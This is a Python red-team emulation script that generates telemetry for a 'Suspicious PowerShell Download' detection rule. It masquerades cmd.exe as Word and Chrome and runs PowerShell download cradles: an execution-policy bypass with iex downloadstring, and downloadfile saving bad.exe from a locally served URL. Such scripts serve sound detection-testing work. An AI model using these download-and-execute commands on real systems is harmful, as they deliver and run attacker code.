suspicious_powershell_download.py

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# 2.0.

# Name: Suspicious PowerShell Download
# RTA: suspicious_powershell_download.py
# signal.rule.name: Suspicious MS Office Child Process
# ATT&CK: T1086
# Description: PowerShell using DownloadString or DownloadFile in suspicious context

import os
import time

from . import common


@common.requires_os(common.WINDOWS)
def main():
    cmd_path = "c:\\windows\\system32\\cmd.exe"
    server, ip, port = common.serve_web()
    url = 'http://{}:{}/bad.ps1'.format(ip, port)

    cmds = ["powershell -ep bypass -c iex(new-object net.webclient).downloadstring('{}')".format(url),
            "powershell -ep bypass -c (new-object net.webclient).downloadfile('{}', 'bad.exe')".format(url)]

    # emulate word and chrome
    for user_app in ["winword.exe", "chrome.exe"]:
        common.log("Emulating {}".format(user_app))
        user_app_path = os.path.abspath(user_app)
        common.copy_file(cmd_path, user_app_path)

        for cmd in cmds:
            common.execute([user_app_path, "/c", cmd])
            time.sleep(2)

        # cleanup
        common.remove_file(user_app_path)


if __name__ == "__main__":
    exit(main())